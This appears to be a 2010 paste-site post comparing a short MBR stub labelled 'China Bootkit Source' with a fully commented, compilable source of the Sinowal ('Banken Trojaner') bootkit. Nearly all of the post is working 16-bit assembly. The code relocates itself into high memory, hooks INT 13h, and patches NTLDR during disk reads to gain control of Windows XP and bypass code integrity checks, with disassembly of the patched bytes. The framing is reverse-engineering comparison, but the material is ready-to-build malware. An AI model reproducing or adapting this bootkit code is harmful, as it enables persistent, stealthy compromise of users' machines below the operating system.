Paste Description for China Bootkit Source
Comparison, Sinowal Analysis vs Chinese Bootkit Source
- China Bootkit Source
- Saturday, June 19th, 2010 at 6:17:15am MDT
- [Stolen Source]
- ; create 16 bit code and assembly only instructions up to 386 instruction set
- [bits 16]
- CPU 386
- xor ax, ax
- mov ss, ax
- mov sp, 7C00h
- sti
- push ax
- pop es
- push ax
- pop ds
- push ds
- pushad
- cld
- mov si, 7C1Bh
- mov di, 61Bh
- push ax
- push di
- mov cx, 1E5h
- rep movsb
- retf
- xor bx,bx
- mov es,bx ; segment 0
- mov ax,0x201 ; function read sectors, read 1 sector
- mov cx,10 ; read original boot code (sector 10), boot sector
- mov dx,80h ; boot drive
- mov bh,0x7c ; address 7C00h
- int 13h
- popad
- pop ds
- ; execute original Master Boot Record
- jmp word 0000h:7C00h
- times 510-($-$$) db 0
- Boot_Signature dw 0AA55h
- [Original]
- ; Sinowal Bootkit
- ; called "Banken Rootkit" or referred as "Banken Trojaner"
- ; www.viennacomputerproducts.com/reverseengineering
- ; compilable version, Stoned-Project (www.stoned-vienna.com)
- ; - Attacking Windows XP
- ; - Memory resistent up to Windows Kernel
- ; - loads payload from hard disk
- ; create 16 bit code and assembly only instructions up to 386 instruction set
- [bits 16]
- CPU 386
- ; no origin used, this code is portable
- cli
- xor bx,bx
- ; set up a new clean stack
- mov ss,bx
- mov [ss:7BFEh],sp
- mov sp,7BFEh
- ; store registers - will be later restored when executing original MBR
- push ds
- pushad
- cld
- ; copy itself to end of memory
- ; BIOS Data Area: MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
- mov ds,bx
- mov si,0x413 ; linear address of 0040h:0013h
- sub [si],word 2 ; - 2048 kbytes, 4 sectors
- lodsw
- shl ax,6
- mov es,ax ; es = address of free memory (2048 bytes)
- mov si,7C00h
- xor di,di
- mov ecx,256 ; copy 512 bytes (the bootloader)
- rep movsw
- ; read boot virus data! (appending the new memory to the moved bootloader sector)
- mov ax,0x202 ; function read sectors, read 2 sectors
- mov cl,61 ; sector 60, 2 data stuff sectors
- mov dx,80h ; boot drive (default)
- mov bx,di ; = pointer after the 512 copied bytes
- int 13h
- ; hook int 13h
- xor bx,bx
- mov eax,[bx + 13h * 4] ; IVT, vector 13h
- mov [bx + 13h * 4],word Interrupt_Vector_13_hook ; new address to jump to on "int 13h" instruction
- mov [es:Interrupt_Vector_13_Return_Address + 3],eax ; store the old jump address
- mov [bx + 13h * 4 + 2],es ; set segment to jump to on int 13h
- ; set address of copy
- push es
- push word Relocated_Bootloader
- ; ..and jump to copy
- retf
- Relocated_Bootloader:
- ; read original master boot record of Windows and execute it
- sti
- mov es,bx ; segment 0
- mov ax,0x201 ; function read sectors, read 1 sector
- mov cx,63 ; read original boot code (sector 62), boot sector
- mov dx,80h ; boot drive
- mov bh,0x7c ; address 7C00h
- int 13h
- ; restore registers
- popad
- pop ds
- pop sp
- ; execute original Master Boot Record
- jmp word 0000h:7C00h
- ; now our background "service" starts, we get control only by int 13
- ; the code is now located at the end of memory (most likely 9F400h)
- Interrupt_Vector_13_hook:
- pushf ; Interrupt Vector 13 hook
- ; check if functions "Read" or "Extended Read" are requested
- cmp ah,42h ; Extended Read?
- jz Handle_Int13_Function
- cmp ah,2h ; Read
- jz Handle_Int13_Function ; ...or read!
- popf
- Interrupt_Vector_13_Return_Address:
- ; jump to the original Int 13h handler (segment:offset will be patched dynamical)
- jmp word 0000h:0000h
- Handle_Int13_Function:
- ; execute int 13h read
- mov [cs:Int_Patch_Function_Number + 1],ah ; store function number (patch)
- popf
- pushf ; simulate "int 13h" instruction (store flags)
- call [cs:Interrupt_Vector_13_Return_Address + 1] ; forward the read sector command and return here
- jc Exit_Int13_hook_ret ; if error => exit to user
- ; set environment for int 13h hook handler
- pushf
- cli
- push es
- pushad ; push register contents, we modify it in our hook handler
- cld
- ; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)
- mov ah,0 ; transfered sectors (read: al, extended read: disk address packet.02h)
- Int_Patch_Function_Number:
- mov ch,0 ; restore function number (from the patch applied at @7A)
- cmp ch,42h ; if extended read special load values
- jnz Int_Params_normalized
- Extended_Read_set_Disk_Address_Packet:
- lodsw ; load values from disk address packet
- lodsw ; +02h = [word] number of blocks to transfer
- les bx,[si] ; +04h = transfer buffer
- Int_Params_normalized:
- test ax,ax ; ax = number of sectors transfered
- jnz Int_Params_SectorCount_set
- inc ax ; sector count = minimum 1
- Int_Params_SectorCount_set:
- ; now scan the read buffer for the signature of ntldr
- ; ++ 8B F0 85 F6 74 21/22 80 3D
- ; ===> Windows XP.NTLDR +26B9Fh
- mov cx,ax
- shl cx,0x9 ; sectors * 512
- mov al,0x8b ; scan byte
- mov di,bx ; data buffer offset of sector
- pusha
- Scan_Read_Sector_loop:
- repne scasb ; scan Bootloader for 8Bh
- jnz NTLDR_delete_routine ; if not found ecx=0 => exit
- nop
- cmp [es:di],dword 0x74f685f0 ; check around signatures
- jnz Scan_Read_Sector_loop ; if not matching => next try
- cmp [es:di+0x5],word 0x3d80
- jnz Scan_Read_Sector_loop ; if not matching => next try
- mov al,[es:di+0x4]
- cmp al,0x21
- jz Found_File_to_Infect
- cmp al,0x22
- jnz Scan_Read_Sector_loop
- Found_File_to_Infect:
- mov si,20Bh
- cmp [cs:si],byte 0 ; in virus data (2 sectors)
- jnz NTLDR_delete_routine ; if already infected => exit
- mov [cs:si],al ; mark as infected and set in missing code byte
- ; infect ntldr
- mov [es:di-0x1],word 15FFh ; ntldr (the code which jumps to the pointer)
- mov eax,cs
- shl eax,4
- add ax,0x200
- mov [cs:0x1fc],eax ; set the pointer (this resides in ourself)
- sub ax,0x4
- mov [es:di+1],eax ; ntldr (the code which jumps to the pointer)
- ; 0x9F4DB INFECTION written to 46B9F on disk @ntldr.26B9Fh FF 15, opcode.call dword
- ; 0x9F4EB INFECTION written to 9F5FC on disk sector 0 at end pointer to PM code (* = memory.9F600h, disk.sector60)
- ; 0x9F4F3 INFECTION written to 46BA1 on disk @ntldr.26BA1h pointer to the pointer
- ; ; infected code in ntldr is now: @ntldr.26B9Fh
- ; 00046b9f: ( 32 Bit Code w ): call dword ptr ds:0x9f5fc ; ff15fcf50900
- ; 00046ba5: ( 32 Bit Code inv ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
- ; 00046bac: ( 32 Bit Code inv ): jz .+0x00000007 ; 7407
- ; 00046bae: ( 32 Bit Code inv ): xor esi, esi ; 33f6
- ; 00046bb0: ( 32 Bit Code inv ): jmp .+0x00000255 ; e955020000
- ; ; and was original: @ntldr.26B9Fh
- ; 00046b9f: ( 32 Bit Code ): mov esi, eax ; 8bf0
- ; 00046ba1: ( 32 Bit Code ): test esi, esi ; 85f6
- ; 00046ba3: ( 32 Bit Code ): jz .+0x00000021 ; 7421
- ; 00046ba5: ( 32 Bit Code ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
- ; 00046bac: ( 32 Bit Code ): jz .+0x00000007 ; 7407
- ; ; the infected code in the ntldr will be relocated to protected mode memory 0x00422a6f
- ; ; it will jump to 9F600h which is stage 2 (executed by ntldr)
- ; 00422a6f: ( ): call dword ptr ds:0x9f5fc ; ff15fcf50900
- ; scan the read buffer for a part of the ntldr
- ; ++ 83 C4 02 E9 00 00 E9 FD FF
- ; ===> Windows XP.NTLDR +1C81h
- ; ===> Windows XP.NTLDR +1C9Ch this is the real searched one
- NTLDR_delete_routine:
- popa
- mov al,0x83
- ; *** PROGRAMMING ERROR ***
- ; *** EDI AND ECX ARE NOT RESETTED HERE, IF MICROSOFT WOULD READ NTLDR AT ONCE THIS WOULD FAIL ***
- Scan_Sector_loop_2:
- repne scasb
- jnz Restore_Flags_and_exit ; if not found exit
- cmp [es:di],dword 00E902C4h
- jnz Scan_Sector_loop_2
- cmp [es:di+0x4],dword 0FFFDE900h
- jnz Scan_Sector_loop_2
- mov [es:di-0x4],dword 83909090h ; set 3 bytes to instruction nop
- and [es:di+0x6],word 0 ; modify jump operation, set highest byte to zero
- jmp short Scan_Sector_loop_2 ; our signature occurs 2 times
- ; 1. @ntldr.1C81h
- ; ; memory dump, @ntldr.1C81h, memory.21c81
- ; 0x0000000000021c7e <bogus+ 0>: 0xe8 0x39 0x0c 0x83 0xc4 0x02 0xe9 0x00
- ; 0x0000000000021c86 <bogus+ 8>: 0x00 0xe9 0xfd 0xff
- ; ; memory disassembly, @ntldr.1C81h, memory.21c81
- ; 00021c7d: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID
- ; 00021c7f: ( 32 Bit Code ): cmp dword ptr ds:[ebx+eax*4], ecx ; 390c83
- ; 00021c82: ( 32 Bit Code ): les eax, ds:[edx] ; c402
- ; 00021c84: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd
- ; ; modified memory dump
- ; 0x0000000000021c7e <bogus+ 0>: 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00
- ; 0x0000000000021c86 <bogus+ 8>: 0x00 0xe9 0x00 0x00
- ; ; modified disassembly
- ; 00021c7e: ( ): nop ; 90
- ; 00021c7f: ( ): nop ; 90
- ; 00021c80: ( ): nop ; 90
- ; 00021c81: ( ): add esp, 0x00000002 ; 83c402
- ; 00021c84: ( ): jmp .+0x00e90000 ; e90000e900
- ; 2. @ntldr.1C9Ch
- ; ; memory dump, @ntldr.1C9Ch, memory.21c9c
- ; 0x0000000000021c99 <bogus+ 0>: 0xe8 0x1e 0x0c 0x83 0xc4 0x02 0xe9 0x00
- ; 0x0000000000021ca1 <bogus+ 8>: 0x00 0xe9 0xfd 0xff
- ; ; memory disassembly, @ntldr.1C9Ch, memory.21c9c
- ; 00021c98: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID
- ; 00021c9a: ( 32 Bit Code ): push ds ; 1e
- ; 00021c9b: ( 32 Bit Code ): or al, 0x83 ; 0c83
- ; 00021c9d: ( 32 Bit Code ): les eax, ds:[edx] ; c402
- ; 00021c9f: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd
- ; ; modified memory dump
- ; 0x0000000000021c99 <bogus+ 0>: 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00
- ; 0x0000000000021ca1 <bogus+ 8>: 0x00 0xe9 0x00 0x00
- ; ; modified disassembly
- ; 00021c99: ( 32 Bit Code ): nop ; 90
- ; 00021c9a: ( 32 Bit Code ): nop ; 90
- ; 00021c9b: ( 32 Bit Code ): nop ; 90
- ; 00021c9c: ( 32 Bit Code ): add esp, 0x00000002 ; 83c402
- ; 00021c9f: ( 32 Bit Code ): jmp .+0x00e90000 ; e90000e900
- ; the modification is done to bypass code integrity verification (even it's not evident from the patched lines)
- Restore_Flags_and_exit: ; everything done, exit interrupt 13h hook
- popad
- pop es
- popf
- Exit_Int13_hook_ret:
- retf 2 ; simulate "iretw" instruction, to preserve flags (especially flags.CF)
- ; language descriptions [unset]
- times 1B5h-($-$$) db 0
- ; Microsoft Error linguistic messages [unused]
- Error_Message_1_length db 0
- Error_Message_2_length db 0
- Error_Message_3_length db 0
- ; Microsoft Disk Signature
- times 440-($-$$) db 0
- disk_signature dd 00000000h ; will be set/corrected by infector
- dw 0
- ; Partition Table, 16 bytes each entry
- times 1BEh-($-$$) db 0
- Partition_Table_Entry_1:
- Partition_1_bootable db 80h ; default boot partition (MS Windows)
- Partition_1_Start_CHS db 01, 01, 00
- Partition_1_Type db 7 ; NTFS file system
- Partition_1_End_CHS db 0FEh, 0BFh, 08h
- Partition_1_Start_LBA dd 63 ; NTFS file system starts, boot sector
- Partition_1_Sectors dd 8AB67Fh ; = 4 GB (9090687 * 512 / 1024 / 1024 / 1024)
- Partition_Table_Entry_2:
- Partition_2_bootable db 0
- Partition_2_Start_CHS db 0, 0, 0
- Partition_2_Type db 0
- Partition_2_End_CHS db 0, 0, 0
- Partition_2_Start_LBA dd 0
- Partition_2_Sectors dd 0
- Partition_Table_Entry_3:
- Partition_3_bootable db 0
- Partition_3_Start_CHS db 0, 0, 0
- Partition_3_Type db 0
- Partition_3_End_CHS db 0, 0, 0
- Partition_3_Start_LBA dd 0
- Partition_3_Sectors dd 0
- Partition_Table_Entry_4:
- Partition_4_bootable db 0
- Partition_4_Start_CHS db 0, 0, 0
- Partition_4_Type db 0
- Partition_4_End_CHS db 0, 0, 0
- Partition_4_Start_LBA dd 0
- Partition_4_Sectors dd 0
- ; here -2 values from the boot signature we will store a pointer
- times 510-($-$$) db 0
- Boot_Signature dw 0AA55h
advertising
Update the Post
Either update this post and resubmit it with changes, or make a new post.
You may also comment on this post.
Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.